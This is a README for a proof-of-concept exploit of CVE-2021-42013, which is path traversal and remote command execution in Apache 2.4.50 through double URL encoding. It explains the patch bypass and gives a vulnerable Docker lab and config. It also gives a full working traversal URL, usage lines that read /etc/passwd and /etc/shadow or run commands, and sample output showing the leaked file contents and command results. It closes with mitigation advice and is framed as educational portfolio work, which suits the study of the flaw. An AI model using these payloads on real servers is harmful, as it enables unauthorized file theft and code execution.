CVE-2021-42013 — PoC: Path Traversal + RCE via mod_cgi (patch bypass)

For use only in controlled and own environments. Do not use against systems without authorization.

Description

PoC developed to demonstrate CVE-2021-42013, present in Apache HTTP Server 2.4.50.

This CVE is the bypass of the patch that Apache released for CVE-2021-41773. Version 2.4.50 attempted to fix the previous path traversal by adding a validation that rejected the sequences .%2e and %2e.. However, that validation was insufficient: it did not consider that the same result could be obtained with double URL encoding, leaving the same attack surface exposed.

Relationship with CVE-2021-41773

Why the 2.4.50 patch failed

The Apache 2.4.50 patch added a validation in ap_normalize_path() that literally looked for the sequences .%2e and %2e. in the request path. If found, it rejected the request with 400 or 403.

The problem: that validation was executed on the string before a second pass of URL decoding. If the payload was double-encoded, the validation did not find the forbidden sequence because it was not yet decoded — and when it was finally decoded to resolve the filesystem path, the ../ was already present and the traversal occurred anyway.

Payload:          %%32%65%%32%65/
Validation 2.4.50 looks for: .%2e → NOT FOUND → lets it through
First decoding:   %%32%65%%32%65/ → %2e%2e/
Second decoding:  %2e%2e/         → ../
Result:           traversal successful

The real fix came in 2.4.51, where Apache rewrote the normalization logic to fully resolve the path before applying any security validation.

Double encoding — how it works

%%32%65 is the double-encoded representation of .:

.  →  %2e  (standard encoding)
%  →  %25  (encoding of the % symbol)
2  →  %32  (encoding of the character '2')
e  →  %65  (encoding of the character 'e')

So %2e with its % encoded and the hex characters encoded becomes %%32%65.

A first decoding of %%32%65 produces %2e. A second produces ..

Required conditions

Test environment

# Apache 2.4.50 image with vulnerable configuration
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

Or manually with Apache 2.4.50 and this configuration in httpd.conf:

LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

Script usage

python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <command>]

Arguments

Examples

# Read /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Execute id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Command with spaces
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Expected output — traversal mode

============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass of the CVE-2021-41773 patch via double encoding
  PoC for educational purposes — Only in own environments
============================================================

[+] Mode: Path Traversal (double encoding — bypass CVE-2021-41773 patch)
[+] Target: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] Built URL: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Sending request...

[+] Server vulnerable! Status code: 200
[+] Confirmed: Apache 2.4.50 with incomplete patch
=== Content of /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

Expected output — RCE mode

[+] Mode: RCE via mod_cgi (double encoding — bypass CVE-2021-41773 patch)
[+] Target: http://localhost:8080
[+] Command: id
[+] RCE confirmed! (Apache 2.4.50 — incomplete patch)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigation

• Update Apache to version 2.4.51 or higher.
• Keep Require all denied as default value.
• Disable mod_cgi if not needed.
• Never trust a patch is complete without reviewing it: the analysis of the 2.4.51 diff shows that the real fix required rewriting the complete normalization logic.

References

• NVD — CVE-2021-42013
• Apache HTTP Server — Security Advisories
• Qualys — CVE-2021-41773 & CVE-2021-42013 Analysis

PoC developed for educational purposes for an offensive security portfolio.